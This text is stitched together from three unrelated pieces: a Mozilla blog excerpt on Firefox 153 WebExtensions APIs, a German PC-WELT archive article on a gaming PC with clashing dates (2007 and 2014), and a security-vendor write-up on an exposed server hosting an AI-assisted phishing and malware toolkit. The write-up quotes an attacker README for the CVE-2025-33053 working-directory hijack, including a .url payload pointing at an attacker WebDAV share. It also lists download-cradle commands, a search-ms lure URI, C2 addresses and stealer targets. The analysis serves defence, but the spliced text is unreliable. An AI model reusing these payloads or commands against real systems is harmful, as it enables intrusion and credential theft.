• publicSuffix, which enables synchronous lookups against the browser’s built-in Public Suffix List using publicSuffix.isKnownSuffix(), publicSuffix.getKnownSuffix(), and publicSuffix.getDomain(). This API means that extensions no longer need to bundle or maintain a suffix list to determine a hostname’s registrable domain (eTLD+1).

Both APIs were built by contributors motivated by real needs in their extensions. We take an in-depth look at these contributions, their developers, impact, and history in a forthcoming post.

documentId support across more APIs

Firefox 153 introduces documentId, a stable identifier for a document instance, including a new runtime.getDocumentId() method, several webNavigation events and methods, webRequest events, scripting injection targets, and the extension messaging APIs.

Many WebExtension APIs use tabId and frameId to identify where to perform an operation. However, because frameId identifies the frame rather than its content, the loaded document can change and the extension’s subsequent operation ends up targeting the new (intended) document. documentId addresses this problem by providing a unique ID for the document. Now, if an extension uses the ID and the frame’s document has changed, the operation fails rather than silently targeting the wrong document.

See Work with documentId for the full list of supported events and methods, along with guidance on using it.

Content scripts can read and modify adopted stylesheets

Content scripts can now access document.adoptedStyleSheets and ShadowRoot.adoptedStyleSheets directly.

const sheet = new CSSStyleSheet();
sheet.replaceSync("* { background: pink; }");
document.adoptedStyleSheets = [sheet];

This enables extensions to inspect or modify constructed stylesheets from a content script, without using .wrappedJSObject, a workaround that risks interference from the web page.

Theme manifest key: gradients in additional backgrounds

The theme manifest key’s images.additional_backgrounds property now accepts CSS gradients alongside image URLs. A new properties.additional_backgrounds_size property controls the size of each additional background item.

Contextual identities (containers)

If your extension supports contextual identities, you now have access to two new methods: contextualIdentities.getSupportedColors() and contextualIdentities.getSupportedIcons(). These methods return the supported colors and icons, so your extension doesn’t need to hardcode either list.

Also, the colors have been updated to align with the new UI theme: “turquoise” is now “cyan”, “toolbar” is now “gray”, and “violet” has been added. The old names still work for backward compatibility, but your extension should switch to using getSupportedColors() rather than hardcoding either the old or new names.

Add a build-for-amo script

While this isn’t about new APIs, I wanted to mention a change that’s part of our work to make source code review faster and more reliable. When you submit an extension version, AMO now attempts to build your extensions from the submitted source code and compares the result to the package you uploaded. When the two match, reviewers don’t have to verify the build manually. This means submission can move through its review faster.

For now, this applies only if you submit source code that includes a package.json file to build your extension. If your extension has no build step, or you use a different build system, nothing changes. The AMO builder keeps its zero-config approach.

So, if your extension’s source code uses a package.json file, add an npm script named build-for-amo that runs the commands needed to build your extension for Firefox:

{
  "scripts": {
    "fx-build": "some commands to build your add-on for Firefox",
    "build-for-amo": "npm run fx-build"
  }
}

If you’ve a Firefox-specific build command, just point build-for-amo at it. When present, the builder invokes this script instead of guessing how to build your extension. And while you are at it, make sure all your dev dependencies are listed in the package.json file.

For more information, including documentation and Bugzilla links, see the Changes for add-on developers section of the Firefox 153 for developers release notes on MDN.

As always, file extension-related issues on Bugzilla under the WebExtensions product, cross-browser API proposals are discussed in the W3C WebExtensions Community Group, and questions are welcome on the Add-ons Discourse.

The post Firefox 153 WebExtensions API updates appeared first on Mozilla Add-ons Community Blog.

Hinweis: Dieser Artikel erschien im März 2007 auf pcwelt.de. Anlässlich unseres 20‑jährigen Jubiläums haben wir mittels der Wayback Machine des Internet Archive das zeitgeschichtliche Dokument restauriert. Wir haben alle Hyperlinks im Text belassen – sofern sie noch auf historische Inhalte führen.

Hier geht es direkt zum Gewinnspiel der aktuellen Höllenmaschine HMX 6 im Gesamtwert von 40.000 Euro. Bestens informiert bleiben Sie mit unserem HMX-6-Newsletter – aber vergessen Sie nicht, die Anmeldung via E-Mail zu bestätigen. Und nun viel Spaß mit der vierten Höllenmaschine:

Die PC-WELT Höllenmaschine 4 repräsentiert den Stand der PC-Technik. Die beste Hard- und Software ist gerade gut genug für den ultimativen Rechnertraum. Auch die vierte Generation im Wert von 13.333 Euro können Sie wieder gewinnen.

Das Rückgrat des 22 Kilogramm schweren Cooler Master Cosmos II bildet eine massive Stahlkonstruktion. Zu den Besonderheiten des 300 Euro teuren Big-Towers gehören eine zentrale Lüftersteuerung, Kabelmanagement, Flügeltüren und massig Platz: Das Gehäuse besitzt allein elf Laufwerksschächte für 3,5-Zoll-Festplatten und nimmt Hauptplatinen bis zum E-ATX-Formfaktor auf.

Airbrush der Höllenmaschine 4

Für das lodernde Airbrush und das seitliche Sichtfenster der Höllenmaschine 4 zeichnen sich die Casemodder Martin und Stefan Blass verantwortlich. Sein höllisch gutes Aussehen verdankt das Gehäuse den international bekannten Casemoddern Martin und Stefan Blass. Auf ihrer Website können Sie sich von den Fähigkeiten der kunstfertigen Casemodder überzeugen. Das preisgekrönte Brüderpaar kümmert sich nicht nur um das teuflische Airbrush und bauliche Veränderungen wie das seitliche Sichtfenster, sondern zeichnet sich auch für die Innenbeleuchtung der Gehäusemodifikation verantwortlich.

Die Gebrüder haben für den schönen Schein einen Multidimmer von Richter eingebaut, der LED-Ketten im Gehäuseinnenraum und im Bodenbereich ansteuert. Über die beiliegende Fernbedienung wählen Sie zwischen acht verschiedenen Grundfarben aus, regulieren die Helligkeit und definieren individuelle Farbwechsel.

Bei der Asus Rampage IV Extreme paart sich eine erlesene Hauptplatinen-Ausstattung mit einem detailverliebten UEFI-Bios, das keine Wünsche offen lässt: Die Sockel-LGA2011-Hauptplatine basiert auf dem Intel-Chipsatz X79. Das UEFI-Motherboard besitzt je acht Speicherbänke, SATA- und USB-Ports sowie fünfmal 16x PCI-Express 3.0. Zur Sonderausstattung gehören CMOS-, Start- und Reset-Knopf, Diagnose-LED, Bluetooth-Unterstützung und umfassende Übertaktungsoptionen, die sich zudem in Echtzeit überwachen lassen.

Prozessor: die schnellste Desktop-CPU der Welt

Der Intel Core i7-3960X ist der aktuell schnellste Desktop-Prozessor im Test. Das Intel-Flaggschiff besitzt sechs CPU-Kerne und arbeitet dank Hyperthreading als virtueller 12‑Kern‑Prozessor. Der Werkstakt liegt bei 3,3 Gigahertz, in der Höllenmaschine 4 läuft der Core i7 mit 4 GHz. Berechnungen puffert der 3960X in einem dreistufigen Cache-System: So ist die dritte Cache-Stufe, die alle Prozessorkerne dynamisch nutzen können, 15 MB mächtig. Auf die erste und zweite Cache-Stufe mit 64 beziehungsweise 256 KB darf hingegen jeder CPU-Kern exklusiv zugreifen.

Eine der wichtigsten exklusiven Funktionen der LGA2011-Baureihe ist der integrierte Speicher-Controller, der vier DDR3-Kanäle gleichzeitig ansteuert. Ebenfalls in der CPU verbaut sind 40 PCI-Express-3.0-Kanäle. Zur weiteren Ausstattung gehören der Schutz vor Angriffen durch einen Puffer-Überlauf (XD-Bit), zusätzliche Befehlssätze wie SSE 4.2 und das Advanced Encryption Standard Instruction Set (AES IS) sowie die Advanced Vector Extensions (AVX). Zudem unterstützt der Prozessor die Virtualisierungs-Technik Intel VT sowie 32- und 64-Bit-Betriebssysteme – so lassen sich etwa virtuelle Workstations mit unterschiedlichen Betriebssystemen einrichten.

Die Wasserkühlung Cooler Master Eisberg 240L Prestige gibt die CPU-Abwärme über einen Dual-Radiator an die Außenwelt ab, der zwei 120-Millimeter-Lüfter beherbergt. Das Rotationstempo der mit knapp 21 dB(A) sehr leisen Lüfter liegt bei 1600 Umdrehungen pro Minute. Im Microchannel-Kühlblock arbeitet deutsche Pumpentechnik, die bis zu 400 Liter pro Stunde durch das Kühlsystem schleudert und für mindestens 50 000 Betriebsstunden ausgelegt ist. Der keramikbeschichtete Pumpenantrieb dreht sich mit bis zu 3600 Rotationen pro Minute.

Grafik: 2x ASUS GTX690-4GD5 im Quad-SLI

Um die Grafikdarstellung kümmert sich in der Höllenmaschine 4 die derzeit leistungsfähigste Grafikkarte der Welt, die ASUS GTX690-4GD5. Kostenpunkt: knapp 1000 Euro pro Stück. Die Karte beherbergt mit der Nvidia Geforce GTX 690 gleich zwei 915 Megahertz schnelle Grafikprozessoren, die gemeinsam die 3D-Berechnung übernehmen.

PC-WELT

In der Höllenmaschine 4 sind gleich zwei der Asus-Doppeldecker, die über eine SLI-Brücke (Scalable Link Interface) verbunden sind. So arbeiten insgesamt vier Grafikprozessoren parallel im Quad-SLI-Modus. In der Summe stehen damit die Rechen-Power von 6144 Shader- und 512 Textur-Einheiten sowie 128 Rasteroperatoren bereit. Dabei kann der Karten-Verbund auf 4 Gigabyte GDDR5-Videospeicher zugreifen, der mit einem effektiven Datentakt von 6000 MHz arbeitet. Jede Grafikkarte besitzt mit einem Mini-Displayport und dreimal DVI vier digitale Ausgänge.

Ausstattung der Höllenmaschine 4 im Überblick

PC-WELT

Monitore: PC-Spiele in 3D auf 3 Panels gleichzeitig

Der Höllenmaschine 4 stellen wir den 27-Zoll-Bildschirm ASUS VG278H zur Seite. Die physikalische Auflösung des 120-Hertz-Monitors beträgt 1920 x1080 Pixel, die Reaktionszeit 2 Millisekunden. Die LED-Hintergrundbeleuchtung erzielt eine Helligkeit von 300 cd/m2 und unterstützt die Lightboost-Technik und damit natürlich auch Nvidia 3D Vision 2 – eine Technologie, die das Spielen in der dritten Dimension möglich macht. Im Lieferumfang des Asus-LCDs ist das “Nvidia 3D Vision”-Set aus Infrarot-Sender (integriert im Bildschirmrahmen) und Shutter-Brille enthalten. Der VG278H bietet mit DVI, HDMI und D-Sub drei Videoeingänge sowie einen Kopfhöreranschluss.

Ein großer 27-Zoll-Monitor ist gut, doch drei ASUS VG278H sind besser. Die gebündelte Auflösung des Bildschirm-Trios von 5760 x 1080 Pixeln erlaubt einen Desktop, auf dem sich bequem arbeiten lässt: Da kann man zahlreiche Fenster in ihrer vollen Größe geöffnet lassen, und behält dennoch den Überblick. Interessant ist diese große Arbeitsumgebung auch für Grafiker und Video-Bearbeiter, die dadurch gleich mehrere Projekte am Laufen halten, ohne eines schließen zu müssen.

Ernsthaften PC-Spielern kann dagegen die Bildschirmgröße nicht groß genug sein – denn sie bedeutet größere Übersicht und ein realistischeres Spielerlebnis. So füllt etwa die wunderschöne Landschaft in Skyrim die volle Breite der drei Monitore aus und wirkt dadurch schon fast wie ein echter Horizont, der Lust auf das Erkunden macht. Dank der brachialen Leistung der Höllenmaschine 4 und Nvidia 3D Vision Surround geht das auch flüssig in stereoskopischem 3D.

Arbeitsspeicher: Quad-Channel mit 64 Gigabyte

Speicher kann man nie genug haben! Die acht Module Adata XPG X Series PC3-17066U mit jeweils 8 Gigabyte Kapazität steuert der Controller in der Intel-CPU im Vierkanal-Modus an. Die Module laufen mit 10-11-11-30er-Zugriffszeiten. Der mit dem Extreme Memory Profile (XMP) effektiv 2133 Megahertz schnelle Arbeitsspeicher beschert der Höllenmaschine 4 eine Speicherbandbreite von über 45 Gigabyte pro Sekunde. Da macht Virtualisierung so richtig Spaß.

PCI-Express-SSD, 4 WD VelociRaptor und 4 WD Caviar Green

Das Betriebssystem und alle Programme dürfen auf der Solid State Drive OCZ RevoDrive 3 X2 480GB Platz nehmen. Die Flashspeicher-Festplatte arbeitet mit vier Sandforce-SF-2281-Controllern intern als Raid-0-Verbund. Dadurch erreicht die SSD eine Datentransferrate von in der Spitze fast 1400 Megabyte pro Sekunde und einen Befehlsdurchsatz von bis zu 230.000 IOPS beim zufälligen Schreiben von 4-KB-Blöcken. Eine herkömmliche SATA-Schnittstelle würde das OCZ-Modell ausbremsen, deswegen setzt das RevoDrive auf einen PCI-Express-Anschluss.

OCZ/Kioxia

Das interne Backup übernimmt ein RAID-5‑Verbund aus vier 1-Terabyte-Festplatten. Dabei kommt das derzeit schnellste 3,5-Zoll-Laufwerk im Test zum Einsatz, die Western Digital VelociRaptor WD1000DHTZ. Die VelociRaptor rotiert mit 10.000 Umdrehungen pro Minute und puffert Zugriffe in einem 64 MB großen Cache. Die maximale Datenrate der Festplatte liegt bei 210 Megabyte pro Sekunde, die durchschnittliche Zugriffszeit bei 3,7 Millisekunden. Als RAID-5‑Verbund kommt das Platten-Quartett auf bis zu 560 Megabyte pro Sekunde und stellt dabei noch knapp 2,7 Gigabyte nutzbare Kapazität zur Verfügung.

Die Aufgabe des klassischen Massenspeichers für umfangreiche Foto-, Musik- und Videosammlungen übernehmen die beiden 3,5-Zoll-Festplatten Western Digital Caviar Green 3000GB WD30EZRX. Die besonders stromsparenden Laufwerke stecken in den zwei abschließbaren Hot-Swap-Schächten der Höllenmaschine 4. So lassen sich schnell und bequem knapp 5,5 Terabyte nutzbarer Speicherplatz im laufenden Betrieb an- und abstöpseln oder auch mal unkompliziert von A nach B tragen.

Stromversorgung: bis zu 105 Ampere auf der 12-Volt-Schiene

Keine Kompromisse machen wir bei der Stromversorgung der Höllenmaschine 4. Das Cooler Master Silent Pro Hybrid 1300W bietet genügend Reserven, um alle Komponenten zuverlässig mit Energie zu versorgen. Das vollständig modulare Netzteil stellt auf der 12-Volt-Schiene in der Spitze bis zu 105 Ampere bereit und federt damit auch locker die Lastspitzen der stromhungrigen Grafikkarten ab.

Aufgrund der “80 PLUS Gold“-Zertifizierung arbeitet das ATX-2.3-Kraftpaket mit einem Wirkungsgrad von über 90 Prozent trotzdem sehr energieeffizient. Dank der semipassiven Kühlung ist das 1300-Watt-Netzteil aber auch flüsterleise. Zudem erlaubt die im Lieferumfang enthaltene 5,25-Zoll-Lüftersteuerung neben dem automatischen Modus ein stufenlos regulierbares Drehtempo für den 130-Millimeter-Lüfter – bei harter Dauerbelastung drehen Sie den Regler einfach voll auf.

Um optische Massenspeicher kümmert sich der Blu-ray-Brenner Asus BW-12B1ST. Das Multi-Norm-Laufwerk versteht sich aber auch auf alle gängigen CD- und DVD-Formate. Bei maximal 12-fachem Schreibtempo füllt das Asus-Modell einen einlagigen 25-GB-BR-Rohling in rund 11 Minuten. BD-REs beschreibt das SATA-Laufwerk mit 2-fachem Tempo, Blu-ray-Medien liest er mit 8-facher Geschwindigkeit. Im Lieferumfang des Asus BW-12B1ST ist Software für das Backup, Brennen und Abspielen von Blu-rays enthalten.

Peripherie: Luxus-Eingabegeräte und 5.1-Raumklang

Die Logitech G9x Laser Mouse kommt mit einem 4-Wege-Scrollrad und löst mit bis zu 5700 dpi auf. Die USB-Maus besitzt eine anpassbare Griffschale sowie ein bis auf 28 Gramm aufrüstbares Gewichtsmagazin. Der interne Speicher sichert bis zu fünf Profile für individuelle Tastatur-Makros und Abtastraten.

Das Logitech G19 Gaming Keyboard besitzt ein integriertes Farb-LCD, das in Echtzeit Spiele-Informationen wie die Server-IP-Adresse oder den Punktestand für über 35 Titel anzeigt. Die G19 erlaubt verschiedene Beleuchtungsfarben und hat 12 voll programmierbare G-Tasten sowie Sondertasten für den schnellen Multimedia-Zugriff. Das Logitech-Modell fungiert aber auch als aktiver 2-fach-USB-Hub und überrascht mit einer Kabelführung auf der Unterseite für Maus und Headset.

Logitech

Das THX-zertifizierte Lautsprecherset Logitech Z906 bietet 5.1-Raumklang mit digitaler Dolby- und DTS-Decodierung. Bis zu sechs digitale und analoge Audioquellen lassen sich gleichzeitig an die Bedienkonsole anschließen. Alternativ bedienen Sie das 500-Watt-Lautsprechersystem kabellos über die Fernbedienung.

Wer nachts die Nachbarn nicht stören darf, greift zum Logitech G930 Wireless Gaming Headset. Das funkt digital mit 2,4 Gigahertz zehn Stunden lang über eine Reichweite von bis zu 12 Metern. Das Headset kommt mit drei programmierbaren Tasten, Geräuschunterdrückung und Kondensatormikrofon. Dank der Dolby-Technik Headphone und Pro Logic II kann das G930 sogar 7.1-Surround-Sound simulieren.

Kreativ-, Spiele- und Office-Paket für 4000 Euro

Auf der Höllenmaschine 4 vorinstalliert haben wir das 64-Bit-Betriebssystem Windows 7 Ultimate. Für das Microsoft-Betriebssystem haben wir uns auch wegen der DirectX-11-Unterstützung entschieden. Das laut Windows-Experte Hermann Apfelböck “beste Windows aller Zeiten” verwöhnt in der multilingualen Ultimate-Variante mit den exklusiven Funktionen Bitlocker-Verschlüsselung und dem nützlichen VHD-Boot.

Dazu gibt es drei fette Software-Pakete frei Haus. Das Highlight für Kreative ist die Adobe Creative Suite 6 Design & Web Premium. Die „Rundum glücklich“-Lösung für professionelle Bildbearbeitung, Layout und Website-Design integriert die Digital Publishing Suite und enthält folgende Programme und Werkzeuge: Acrobat X Pro, Bridge, Dreamweaver, Flash Builder, Flash Professional, Fireworks, Illustrator, InDesign, Media Encoder und Photoshop Extended.

Was zum Spielen spendiert Grafikspezialist Nvidia der Höllenmaschine 4. Das Gaming-Paket enthält die AAA-Titel Alan Wake Collector’s Edition, Batman: Arkham City, Battlefield 3, Borderlands, Call of Duty: Modern Warfare 3, Crysis 2, Diablo 3, Deus Ex: Human Revolution, Duke Nukem Forever, L.A. Noire, Mass Effect 3, Max Payne 3, Metro 2033, Rage, Skyrim, Starcraft II: Wings of Liberty, Star Wars. The Old Republik, The Witcher 2: Assassins of Kings.

Und wer die Höllenmaschine im Büroeinsatz unterfordern will, installiert Microsoft Office Professional 2010. Das Paket enthält die Programme Access, Excel, InfoPath, OneNote, Outlook, Powerpoint, Publisher, SharePoint, Word und Workspace.

Hinweis: Hier endet der Artikel über die Höllenmaschine 4 aus dem Jahre 2014.

So gewinnen Sie die HMX 6

Auch dieses Jahr verlosen wir die Höllenmaschine unter allen Teilnehmern:

Wie Sie die HMX 6 verfolgen können

In den kommenden Wochen folgen weitere Inhalte rund um die Höllenmaschine 6 auf YouTube, Instagram, TikTok, Facebook und natürlich auf pcwelt.de. Wenn Sie nichts verpassen wollen, sollten Sie den kostenlosen HMX-6-Newsletter abonnieren – aber vergessen Sie nicht, die Anmeldung via E-Mail zu bestätigen.

Dieser Beitrag Offener WebDAV-Server legt KI-gestütztes Phishing-Toolkit offen erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

Read more →

The post Exposed Server Reveals AI-Assisted Phishing Toolkit Behind WebDAV Malware Campaign appeared first on IT Security News.

An MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery paths, social engineering lures, and WebDAV execution methods.

Our analysis reveals an interesting shift in adversary operations: attackers are adopting generative AI to move beyond individual exploits and operate like modern software product teams. By leveraging LLMs for rapid lure generation, detailed README documentation, and automated testing, they are significantly accelerating their development cycle.

This incident underscores the imperative of preemptive security. By unifying exposure management with detection and response, we did not just catch a single campaign; we gained visibility into the attacker’s entire delivery pipeline. Although the server hosted many malware samples, the more interesting find was the view into the attacker’s workflow. The exposed infrastructure showed how the operator tested delivery paths, packaged lures, staged payloads, and monitored delivery activity. All of it with the help of generative AI.

Introduction: From MDR alert to attacker infrastructure

The investigation started with an MDR alert after a user executed a file pulled from a WebDAV server using rundll32.exe. Telemetry showed the WebClient service starting, followed by davclnt.dll reaching out to a remote host to retrieve content.

That initial hit led us to dig deeper into the delivery setup, which is how we ended up finding an exposed directory. It quickly became clear to us that the server wasn't just hosting files, but also was used as an active malware testing and delivery hub. Alongside payloads, we found bulk-generated shortcut lures, URL-based execution tests, ClickFix pages, WebDAV initialization scripts, droppers, spoofed filenames, and operator notes.

At a high level, the 1,048 files clustered as follows:

Table 1: Breakdown of files recovered from the attacker’s delivery workspace

Technical analysis and observed attacker behavior

Attackers testing like a product team

The open directory exposed the attacker’s payloads and testing process. The collection varied by function: some folders stored payloads, while others isolated individual delivery methods, including WebDAV, UNC paths, search-ms, library-ms, Control Panel items, and trusted Windows binaries. Several directories appeared to be QA areas for testing how lures are rendered in browsers and Windows Explorer. These tests included Unicode spoofing, right-to-left override (RTLO) characters, double extensions, and padding tricks used to make executables look like documents.

The directory also contained several README files. Their structure and phrasing suggested they may have been generated with LLMs. Some folders were named testik and testik2, a Russian diminutive form of “test”.

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Looking at the artifacts from the open directory, we saw that the attacker was testing some specific CVEs.

Table 2: CVE references observed in the exposed directory.

The most developed test set focused on CVE-2025-33053, the working-directory abuse technique reported by Check Point in its analysis of Stealth Falcon activity. It appears as though the threat was trying to reproduce or adapt the reported technique with the help from README that appears to have been generated with LLMs. At a high level, the technique abuses .url shortcut behavior to launch a legitimate signed Windows binary while setting its working directory to an attacker-controlled WebDAV share. In the original reporting, the binary was iediagcmd.exe, an Internet Explorer diagnostics utility. When invoked, that utility launches several child processes by name. If the working directory points to a remote WebDAV location controlled by the attacker, Windows may resolve those child process names from the remote share instead of the expected local system directory.

The README files closely mirrored this logic. They called out iediagcmd.exe as the preferred binary, referenced the same WebDAV working-directory pattern described in the Stealth Falcon reporting, and preserved the previously reported summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr path as an example. So if you ever wonder who reads your blogs, it seems like attackers do.

CVE-2025-33053 (Stealth Falcon APT) - Test Setup
=====================================================

WHAT IS THIS?
This .url file abuses iediagcmd.exe to execute a file from WebDAV
WITHOUT any security warnings. Zero alerts!

HOW IT WORKS:
1. .url file contains URL=path to iediagcmd.exe (legitimate IE tool)
2. .url sets WorkingDirectory to WebDAV share
3. When clicked: iediagcmd.exe starts with cwd = WebDAV
4. iediagcmd internally calls: route.exe, ipconfig.exe, netsh.exe, ping.exe
5. Process.Start() searches in working directory FIRST
6. WebClient auto-starts when accessing WebDAV
7. Attacker's route.exe (renamed putty.exe) runs from WebDAV
8. NO SmartScreen, NO MoTW warnings!

REQUIREMENTS TO MAKE TEST WORK:
================================

1. iediagcmd.exe MUST exist on victim machine
   Path: C:\Program Files\Internet Explorer\iediagcmd.exe
   - Win10 (1607-22H2):        YES
   - Win11 21H2/22H2/23H2:     usually YES
   - Win11 24H2 (IE removed):  NO (this is why your F-series failed!)
   - Check on victim:
     dir "C:\Program Files\Internet Explorer\iediagcmd.exe"

2. WebDAV MUST have file named EXACTLY "route.exe"
   NOT putty.exe! iediagcmd will only execute these names:
   - route.exe
   - ipconfig.exe
   - netsh.exe
   - ping.exe
   On your WebDAV server, RENAME putty.exe to route.exe
   Place at: \\TA_C2\Downloads\route.exe

3. Microsoft patch from June 2025 MUST NOT be installed
   Check: Get-HotFix | Where-Object {$_.HotFixID -match "KB5060"}
   If patched, exploit fails.

ALTERNATIVE LOLBINS (if iediagcmd.exe missing):
================================================
F4_CustomShellHost_explorer.url - uses CustomShellHost.exe
   (mentioned in CheckPoint report - spawns explorer.exe)
F5_OfficeC2RClient_alternative.url - uses Office C2R client
   (if Office is installed)

REAL ATTACK PAYLOAD WAS:
[InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr
ShowCommand=7
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Modified=20F06BA06D07BD014D

Figure 2: Contents of README, likely generated by LLM, found in the exposed directory.
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The testing approach was methodical and included the below:

Transports: WebDAV over @80 and @ssl@443

Path formats: DavWWWRoot vs. plain UNC

Fallback LOLBins: CustomShellHost.exe, OfficeC2RClient.exe, and many more for hosts where iediagcmd.exe is absent

Download cradles: bitsadmin /transfer, certutil -urlcache -split -f, mshta http(s)://…

Shortcut launchers: PowerShell IEX (New-Object Net.WebClient).DownloadString(...), hidden/minimized windows

Explorer containers: search-ms: queries and .library-ms files exposing remote payloads

ClickFix pages: relying on user copy/paste execution

Filename spoofing: RTLO (U+202E), double extensions, and whitespace padding before .exe / .scr

The lure factory

The lure themes were broad and familiar: invoices, privacy policies, contracts, signed documents, finance reports, Labcorp-themed reports, salary statements, and notification policies.

Judging by the lure themes, we concluded that the attacker is targeting enterprise Windows users who are likely to open routine documents.

The threat actor also invested heavily in making files look “safe”. Many lure names mimicked PDFs or office documents. Others used fake icons associated with common software. Some attempted to hide arguments or launch windows minimized. Clearly, the goal was to make malicious execution feel like ordinary document handling.

The directory also contained ClickFix HTML lures. These pages mimicked familiar services, application errors, and document-access workflows to convince users to copy and run a command. The lures were disguised as Cloudflare verification checks, Adobe or Word document errors, Microsoft login pages, Chrome update messages, and Discord-themed notices. Filenames such as Fix_Connection_Error.html, Update_Required.html, Secure_Document_Access.html, Verification_Failed.html, and Open_Document_Instructions.html show how the actor repackaged the same execution pattern under different social-engineering themes.

The commands typically launched PowerShell to fetch remote content, used cmd.exe to open payloads from WebDAV or UNC paths, or used utilities like rundll32 and mshta to proxy execution. Many referenced attacker-controlled paths, temporary directories, hidden windows, or encoded arguments to reduce visibility.

The payload chains 

The exposed directory contained many payloads, but we did not reverse every binary in the collection. We initially started with reverse engineering, but after analyzing several chains, we found repeated packaging patterns and suspected that some staged files may have led to the same or closely related final payloads.

We therefore shifted from exhaustive reverse engineering to triage. We reviewed several files, including DlrtyGames, CursorSetup, ReportFinal.rsc.pdf, ReportFina.exe and pdfgear_setup_v2.1.16.exe, and prioritized payloads that either represented distinct delivery approaches or were tied to observed campaign activity.

Our main focus became the most commonly delivered file in the most recent CURP campaign, based on artifacts we found in cPanel. This gave us the clearest link between the exposed delivery infrastructure and active campaign activity. 

This scope is intentional. This post is about the attacker’s delivery workflow, not a full reverse-engineering report for every sample in the directory. We use the payload analysis to show how the operator packaged lures, staged loaders, tested execution methods, and moved from delivery to final payload execution.

Case study 1: CURP campaign targeting Mexico

Our MDR alert began with a user who landed on the phishing site www[.]gobf[.]mx, a typosquat impersonating the Mexican government's CURP (Clave Única de Registro de Población) national-ID lookup service at https://www.gob.mx/curp/. The phishing site presented a convincing single-page application that asked victims to enter CURP identity data and retrieve an official record.

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The site’s client-side JavaScript handled the fake ID lookup flow and then triggered payload delivery when the victim clicked the download button. Instead of downloading a PDF directly, the script invoked a search-ms: URI that opened the operator’s remote WebDAV share as a Windows Explorer search view filtered to .scr files:

search-ms:displayname=Search Results in \\onedrive.cv@80\Downloads\CURP
         &query=*.scr
         &crumb=location:\\onedrive.cv@80\Downloads\CURP

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It's worth mentioning that the malicious Javascript with russian comments appears to be also generated with the help of GenAI. As you can see in the screenshot above it contains emojis and comments which are very typical for the LLM models.

The exposed Simba Service panel tied this phishing flow back to the attacker’s delivery infrastructure. The CURP folder was the most-accessed campaign folder, with 2,384 recorded interactions. The same count appeared for ReportFinal.rcs.pdf, making it the clearest link between the phishing site, the WebDAV delivery path, and active campaign activity.

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Although ReportFinal.rcs.pdf appeared to be a PDF, it was actually a right-to-left override (RTLO) masqueraded .scr executable built with a Delphi/Inno Setup installer. Once executed, it extracted and launched the Fo-Binary.exe loader, initiating the multi-stage infection chain.

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The final payload was an unknown .NET information stealer, operated entirely fileless-ly to evade disk-based detection. The execution sequence followed as such:

• Decryption: The Fcqleh loader decrypted the embedded payload using AES and GZip.

• Reflective Loading: The loader mapped the payload directly into memory using the Assembly.Load(byte[]) API.

• Process Injection: The malicious code was executed inside a legitimate, EV-signed Qihoo 360 process via process hollowing, allowing the malicious code to run under a trusted signed process image.

The decrypted in-memory configuration exposed the payload’s feature set and version 4.4.3. It also contained the build tag 06x12x2026SantaEbash2, which matched toolkit timestamps from June 12, 2026.

Once running, the stealer targeted cryptocurrency assets, browser data, messaging sessions, and local application data. Its collection logic included around 20 desktop wallet clients and browser wallet extensions, saved browser usernames, passwords, cookies, session tokens, the Telegram tdata session database, Foxmail data, and a screenshot of the victim’s desktop.

The payload also included anti-analysis checks. The payload checked for the COR_PROFILER environment variable and called IsDebuggerPresent. If the malware detected that it was being monitored or debugged, it immediately called FailFast to kill the process. The stealer also delayed decrypting its watchlist and collection configuration until after a successful C2 handshake, preventing its full functionality from being revealed in isolated sandboxes. 

Collected data was exfiltrated to 77[.]110.127.205 (alias google.services.ug, certificate CN=Eglgyqnoa) over SslStream (TLS without SNI) and raw Socket.The stolen data was sent as a multipart HTTP POST request to /c2.

Based on the analyzed behavior, the payload functioned as an information stealer focused on credential, wallet, and session theft.

Case study 2: The "DlrtyGames" sideloading chain

While the ReportFinal lure used an Inno Setup installer to launch a fileless stealer, a second campaign directory on the server, DlrtyGames, showed a different delivery architecture. This chain was built to deploy a modular RAT through DLL sideloading, IDAT, process hollowing, and persistence.

The DlrtyGames chain began with a silent 7-Zip SFX dropper, DlrtyGames.exe. It extracted a benign, signed Ubisoft binary, Volt_Droid.exe, into the victim’s temporary directory alongside a trojanized dependency, discord-rpc.x64.dll.

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Volt_Droid.exe used DLL sideloading to load discord-rpc.x64.dll. This decoded its configuration, resolved APIs by hash, and manually mapped profiler16.dll. The mapped profiler16.dll stage then read loader-pool.db, a PNG file whose encrypted modules were stored across IDAT chunks. After a 45-second sleep delay, it reassembled and decrypted the embedded content, set up persistence, performed COM auto-elevation through dllhost.exe, and prepared the final hollowing stage.

The final injection stage was handled by an x86 PIC shellcode blob carved from loader-pool.db at offset 0xb516a. That shellcode created signed host processes such as MegArray.exe or Crisp.exe in a suspended state, unmapped their original image, wrote the payload into the process, updated thread context, and resumed execution. The result was a modular .NET RAT running inside a signed host process.

The DlrtyGames payload was a modular RAT with plugins for keylogging, screenshots, window monitoring, and C2 communication. Its keylogger module used plaintext keyword triggers for payment, banking, credit, and cryptocurrency activity, including relaypayments.com, plaid, fiservapps, payoneer, google pay, coinbase, Zelle, paypal, link.com, amazonrelay, Exodus, Electrum, Bitcoin, monero, Seed Phrase, Seed, 12, FCU, Credit Union, Account Overview, Available Balance, Merchant, online access, debit, credit, cvv, card, settlement, fees, loans, bank, banking, finance, and invest. 

The RAT also targeted browser wallet-extension artifacts and Chrome user data, including cookies and saved login data.

The two chains used different payloads and C2 infrastructure. In case study one, the stealer exfiltrated to 77[.]110[.]127[.]205:56003, while in the case study two stealer chain communicated with 23[.]94[.]252[.]228:57666. Based on our observations, the final RAT payload in both chains was identified as .NET-based PureRAT.

GenAI adoption

Several artifacts make it clear the attacker certainly used LLMs to build and iterate this operation. The directory is packed with structured README files, neatly formatted lure-generation guides, detailed test writeups, and matrix-style outputs that look exactly like templated or generated content.

═══════════════════════════════════════════════════════════════════
  WORKING DIRECTORY HIJACKING — COMPREHENSIVE TEST KIT
  for Windows 11 24H2
═══════════════════════════════════════════════════════════════════

This kit contains 59 .url files targeting different Windows binaries
that POTENTIALLY have the same Working Directory hijacking issue as
CVE-2025-33053 (Stealth Falcon, iediagcmd.exe).

ALL .url files use this exact format (same as the real APT attack):
